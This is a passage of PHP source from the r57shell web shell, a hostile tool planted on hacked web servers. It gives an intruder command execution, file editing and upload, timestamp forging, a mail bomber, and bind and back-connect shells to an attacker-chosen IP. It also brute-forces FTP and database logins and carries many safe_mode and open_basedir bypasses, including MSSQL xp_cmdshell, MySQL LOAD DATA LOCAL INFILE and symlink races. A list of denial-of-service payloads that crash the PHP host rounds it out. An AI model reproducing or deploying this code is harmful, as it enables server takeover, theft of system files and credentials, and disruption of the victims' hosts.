    $filename = @basename($_POST['loc_file']);
    $content_encoding=$mime_type='';
    compress($filename,$filedump,$_POST['compress']);
    $attach = array(
                    "name"=>$filename,
                    "type"=>$mime_type,
                    "content"=>$filedump
                   );
    if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
    if(empty($_POST['from'])) { $_POST['from'] = '[email protected]'; }
    $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
    err(6+$res);
    $_POST['cmd']="";                   
  }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
 {
 for($h=1;$h<=$_POST['mail_flood'];$h++){
  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
 }
 err(6+$res);
 $_POST['cmd']="";  
 }
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
 {
 switch($_POST['what'])
   {
   case 'own':
   @chown($_POST['param1'],$_POST['param2']);
   break;
   case 'grp':
   @chgrp($_POST['param1'],$_POST['param2']);
   break;
   case 'mod':
   @chmod($_POST['param1'],intval($_POST['param2'], 8));
   break;
   }
 $_POST['cmd']="";
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
 {
   switch($_POST['what'])
   {
     case 'file':
      if($_POST['action'] == "create")
       {
       if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
       else {
        $_POST['e_name'] = $_POST['mk_name'];
        $_POST['cmd']="edit_file";
        echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
        }
       }
       else if($_POST['action'] == "delete")
       {
       if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
       $_POST['cmd']="";
       }
     break;
     case 'dir':
      if($_POST['action'] == "create"){
      if(@mkdir($_POST['mk_name']))
       {
         $_POST['cmd']="";
         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
       }
      else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
      }
      else if($_POST['action'] == "delete"){
      if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
      $_POST['cmd']="";
      }
     break;
   }
 }


if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
{
if(!$_POST['file_name_r'])
 {
  $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
  $datar = @strtotime($datar);
  @touch($_POST['file_name'],$datar,$datar);}
else{
  @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
}
$_POST['cmd']="";
}


if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
 {
 if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
 elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
 elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } 
 elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
 else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
 if(!empty($_POST['cmd'])) 
 {
 echo $table_up3;
 echo $font;
 echo "<form name=save_file method=post>";
 echo ws(3)."<b>".$_POST['e_name']."</b>";
 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
 echo @htmlspecialchars($filedump);
 echo "</textarea>";
 echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
 echo "<input type=hidden name=dir value='".$dir."'>";
 echo "<input type=hidden name=cmd value=save_file>";
 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
 echo "</div>";
 echo "</font>";
 echo "</form>";
 echo "</td></tr></table>";
 exit();
 }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
 {
 $mtime = @filemtime($_POST['e_name']);
 if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
 else {
 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
 morewrite($_POST['e_name'],$_POST['e_text']);
 $_POST['cmd']="";
 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
 }
 @touch($_POST['e_name'],$mtime,$mtime);
 }
 

if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
{
 cf($tempdir.'prxpl',$prx_pl);
 $p2=which("perl");
 $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
 @unlink($tempdir.'prxpl');
 $_POST['cmd']="ps -aux | grep prxpl";
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
 cf($tempdir.'bd.c',$port_bind_bd_c);
 $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
 @unlink($tempdir.'bd.c');
 $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
 @unlink($tempdir.'bd');
 $_POST['cmd']="ps -aux | grep bd";
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
 cf($tempdir.'bdpl',$port_bind_bd_pl);
 $p2=which("perl");
 $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
 @unlink($tempdir.'bdpl');
 $_POST['cmd']="ps -aux | grep bdpl";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
 cf($tempdir.'back',$back_connect);
 $p2=which("perl");
 $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
 @unlink($tempdir.'back');
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
 cf($tempdir.'back.c',$back_connect_c);
 $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
 @unlink($tempdir.'back.c');
 $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
 @unlink($tempdir.'back');
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
 cf($tempdir.'dp',$datapipe_pl);
 $p2=which("perl");
 $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
 @unlink($tempdir.'dp');
 $_POST['cmd']="ps -aux | grep dp";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
{
 cf($tempdir.'dpc.c',$datapipe_c);
 $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
 @unlink($tempdir.'dpc.c');
 $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
 @unlink($tempdir.'dpc');
 $_POST['cmd']="ps -aux | grep dpc";
}

if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }

for($upl=0;$upl<=16;$upl++)
{
 if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
  if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
  else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
  @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
  or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
 }
}

if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
 switch($_POST['with'])
 {
 case 'fopen':
 $datafile = @implode("", @file($_POST['rem_file']));
 if($datafile)
  {
   if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
  }

 $_POST['cmd'] = '';
 break;
 case 'wget':
 $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
 break;
 case 'fetch':
 $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
 break;
 case 'lynx':
 $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
 break;
 case 'links':
 $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
 break;
 case 'GET':
 $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
 break;
 case 'curl':
 $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
 break;
 }
}
if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
 {
 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 if(!$connection) { err(3); }
 else 
  {   
  if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  else 
   {
   if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
   if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
   }
  }
 @ftp_close($connection);
 $_POST['cmd'] = "";
 }

if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
 {
 if($_POST['cmd']=="ftp_brute"){
  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  if(empty($ftp_port)) { $ftp_port = 21; }
  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 }else if($_POST['cmd']=="db_brute"){
   $connection = 1;
 }
 if(!$connection) { err(3); $_POST['cmd'] = ""; }
 else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
 else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
 if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
 }

echo $table_up3;
if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
if($safe_mode || $open_basedir)
{
 switch($_POST['cmd'])
 {
 case 'safe_dir':
 
  if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
   {
   foreach ($d as $file)
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if(!$unix){ 
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{ 
     if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
      $owner = @posix_getpwuid($uid);
      $grgid = @posix_getgrgid($gid);
     }else{$owner['name']=$grgid['name']='';}
     echo $inode." ";
     echo perms(@fileperms($file));
     @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo @date("d.m.Y H:i ",$mtime);
     }
     echo "$file\n";
    }
   }

  elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
   {
   while (false!==($file=$d->read()))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if(!$unix){ 
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{ 
     if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
      $owner = @posix_getpwuid($uid);
      $grgid = @posix_getgrgid($gid);
     }else{$owner['name']=$grgid['name']='';}
     echo $inode." ";
     echo perms(@fileperms($file));
     @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo @date("d.m.Y H:i ",$mtime);
     }
     echo "$file\n";
    }
   $d->close();
   }
   
  elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
   {
   while (false!==($file=@readdir($d)))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if(!$unix){ 
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{ 
     if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
      $owner = @posix_getpwuid($uid);
      $grgid = @posix_getgrgid($gid);
     }else{$owner['name']=$grgid['name']='';}
     echo $inode." ";
     echo perms(@fileperms($file));
     @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo @date("d.m.Y H:i ",$mtime);
     }
     echo "$file\n";
    }
   @closedir($d);
   }

   elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
    {
       echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
       function eh($errno, $errstr, $errfile, $errline)
        {
          global $D, $c, $i; 
          preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); 
          if($o){ $D[$c] = $o[2]; $c++;} 
        }
       $error_reporting = @ini_get('error_reporting');
       error_reporting(E_WARNING); 
       @ini_set("display_errors", 1); 
       @ini_alter("display_errors", 1); 
       $root = "/"; 
       if($dir) $root = $dir; 
       $c = 0; $D = array(); 
       @set_error_handler("eh"); 
       $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
       for($i=0; $i < strlen($chars); $i++)
       {
        $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; 
        $prevD = $D[count($D)-1]; 
        @glob($path."*"); 
        if($D[count($D)-1] != $prevD)
         {
           for($j=0; $j < strlen($chars); $j++)
           {
            $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; 
            $prevD2 = $D[count($D)-1]; 
            @glob($path."*"); 
            if($D[count($D)-1] != $prevD2)
             {
              for($p=0; $p < strlen($chars); $p++)
               {
                $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; 
                $prevD3 = $D[count($D)-1]; 
                @glob($path."*"); 
                if($D[count($D)-1] != $prevD3)
                 {
                  for($r=0; $r < strlen($chars); $r++)
                   {
                    $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; 
                    @glob($path."*"); 
                   } 
                 }        
               } 
             }        
           }    
         } 
       } 
       $D = array_unique($D); 
       foreach($D as $item) echo "{$item}\r\n"; 
       echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
       error_reporting($error_reporting);
    }
    elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
    {
       echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
       if(!$dir){$dir='/etc/';}; 
       if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
       if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}

       if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
       if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
       foreach($presets_rlph as $preset_rlph){
           if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
       }
       for($i=0; $i < strlen($chars_rlph); $i++){
          if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
          if($n_rlph<=1){continue;};
          for($j=0; $j < strlen($chars_rlph); $j++){
             if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
             if($n_rlph<=2){continue;};
      	     for($x=0; $x < strlen($chars_rlph); $x++){
                if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
                if($n_rlph<=3){continue;};
                for($y=0; $y < strlen($chars_rlph); $y++){
      	           if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
      	           if($n_rlph<=4){continue;};
      	           for($z=0; $z < strlen($chars_rlph); $z++){
      	              if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
      	              if($n_rlph<=5){continue;};
      	              for($w=0; $w < strlen($chars_rlph); $w++){
      	                 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
      		      }
      		   }
      	         }
              }
          }
       }
       echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
    }
    else echo $lang[$language.'_text29'];
 break;
  case 'test1':
  $ci = @curl_init("file://".$_POST['test1_file']);
  $cf = @curl_exec($ci);
  echo htmlspecialchars($cf);
  break;
  case 'test2':
  @include($_POST['test2_file']);
  break;
  case 'test3':
  if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  if($db)
   {
   if(@mysql_select_db($_POST['test3_md'],$db))
    {
     @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
     @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
/*     @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
     @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
     $r = @mysql_query("SELECT * FROM temp_r57_table");
     while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
     @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
    }
    else echo "[-] ERROR! Can't select database";
   @mysql_close($db);
   }
  else echo "[-] ERROR! Can't connect to mysql server";
  break;
  case 'test4':
  if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  if($db)
   {
   if(@mssql_select_db($_POST['test4_md'],$db))
    {
     @mssql_query("drop table r57_temp_table",$db);
     @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
     @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
     $res = mssql_query("select * from r57_temp_table",$db);
     while(($row=@mssql_fetch_row($res)))
      {
      echo htmlspecialchars($row[0])."\r\n";
      }
    @mssql_query("drop table r57_temp_table",$db);
    }
    else echo "[-] ERROR! Can't select database";
   @mssql_close($db);
   }
  else echo "[-] ERROR! Can't connect to MSSQL server";
  break;
  case 'test5':
  $temp=tempnam($dir, "fname");
  if (@file_exists($temp)) @unlink($temp);
  $extra = "-C ".$_POST['test5_file']." -X $temp";
  @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  $str = moreread($temp);
  echo htmlspecialchars($str);
  @unlink($temp);
  break;
  case 'test6':
  $stream = @imap_open('/etc/passwd', "", "");
  $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
  @imap_close($stream);
  break;
  case 'test7':
  $stream = @imap_open($_POST['test7_file'], "", "");
  $str = @imap_body($stream, 1);
  echo htmlspecialchars($str);
  @imap_close($stream);
  break;
  case 'test8':
  $temp=@tempnam($_POST['test8_file2'], "copytemp");
  $str = readzlib($_POST['test8_file1'],$temp);
  echo htmlspecialchars($str);
  @unlink($temp);
  break;
  case 'test9':
  @ini_restore("safe_mode");
  @ini_restore("open_basedir");
  $str = moreread($_POST['test9_file']);
  echo htmlspecialchars($str);
  break;
  case 'test10':
  @ob_clean();
  $error_reporting = @ini_get('error_reporting');
  error_reporting(E_ALL ^ E_NOTICE);
  @ini_set("display_errors", 1); 
  @ini_alter("display_errors", 1); 
  $str=@fopen($_POST['test10_file'],"r");
  while(!feof($str)){print htmlspecialchars(fgets($str));}
  fclose($str);
  error_reporting($error_reporting);
  break;
  case 'test11':
  @ob_clean();
  $temp = 'zip://'.$_POST['test11_file'];
  $str = moreread($temp);
  echo htmlspecialchars($str);
  break;
  case 'test12':
  @ob_clean();
  $temp = 'compress.bzip2://'.$_POST['test12_file'];
  $str = moreread($temp);
  echo htmlspecialchars($str);
  break;
  case 'test13':
  @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
  echo $lang[$language.'_text61'];
  break;
  case 'test14':
  @session_save_path($_POST['test14_file2']."\0;$tempdir");
  @session_start();
  @$_SESSION[php]=$_POST['test14_file1'];
  echo $lang[$language.'_text61'];
  break;
  case 'test15':
  @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
  echo $lang[$language.'_text61'];
  break;
  case 'test16':
  if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
  break;
  case 'test17_1':
  @unlink('symlinkread');
  @symlink('a/a/a/a/a/a/', 'dummy');
  @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
  @unlink('dummy');
  while (1) 
   {
    @symlink('.', 'dummy');
    @unlink('dummy');
   }
  break;
  case 'test17_2':
  $str='';
  while (strlen($str) < 3) {   
/*   $str = moreread('symlinkread');*/
   $str = @file_get_contents('symlinkread');
   if($str){ @ob_clean(); echo htmlspecialchars($str);}
  }
  break;
  case 'test17_3':
  $dir = $files = array();
  if(@version_compare(@phpversion(),"5.0.0")>=0){
   while (@count($dir) < 3) {
    $dir=@scandir('symlinkread');
    if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
   }
  }
  else {
   while (@count($files) < 3) {
    $dh  = @opendir('symlinkread');
    while (false !== ($filename = @readdir($dh))) {
     $files[] = $filename;
    }
    if(@count($files) > 2){@ob_clean(); @print_r($files); }
   }
  }
  break;
  case 'test18':
  @putenv("TMPDIR=".$_POST['test18_file2']); 
  @ini_set("session.save_path", ""); 
  @ini_alter("session.save_path", ""); 
  @session_start();
  @$_SESSION[php]=$_POST['test18_file1'];
  echo $lang[$language.'_text61'];
  break;
  case 'test19':
  if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
  $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
  if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
  $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
  $m->set_local_infile_handler("r");
  $m->query("DROP TABLE IF EXISTS temp_r57_table");
  $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
  $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
  $r = $m->query("SELECT * FROM temp_r57_table");
  while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
  $m->query("DROP TABLE IF EXISTS temp_r57_table");
  $m->close();
  break;
 }
}

if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
 $cmd_rep = ex($_POST['cmd']);
 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
 else { echo @htmlspecialchars($cmd_rep)."\n"; }
}/*elseif($safe_mode){
 $cmd_rep = safe_ex($_POST['cmd']);
 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
 else { echo @htmlspecialchars($cmd_rep)."\n"; }
}
*/
switch($_POST['cmd'])
{
 case 'dos1':
 function a() { a(); } a();
 break;
 case 'dos2':
 @pack("d4294967297", 2);
 break;
 case 'dos3':
 $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
 break;
 case 'dos4':
 $t = array(1);while (1) {$a[] = &$t;};
 break;
 case 'dos5':
 @dl("sqlite.so");$db = new SqliteDatabase("foo");
 break;
 case 'dos6':
 preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
 break;
 case 'dos7':
 @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
 break;
 case 'dos8':
 @shell_exec("killall -11 httpd");
 break;
 case 'dos9':
 function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
 break;
 case 'dos10':
 $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
 break;
 case 'dos11':
 @array_fill(1,123456789,"Infigo-IS");
 break;
 case 'dos12':
 @substr_compare("A","A",12345678);
 break;
 case 'dos13':
 @unserialize("a:2147483649:{");
 break;
 case 'dos14':
 $Data = @str_ireplace("\n", "<br>", $Data);
 break;
 case 'dos15':
 function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
 $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
 @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
 break;
 case 'dos16':
 $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
 for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
 unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
 break;
 case 'dos17':
 $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"; 
 $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; 
 $x = "AQ                                                                        "; 
 unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
 break;
 case 'dos18':
 $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600); 
 if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err)) 
 echo "Msg not sent because $msg_err\n"; 
 if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) { 
 echo "$msg\n"; 
 } else { echo "Received $msg_error fetching message\n"; break; } 
 @msg_remove_queue ($msg_id);
 break;
 case 'dos19':
 $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
 break;
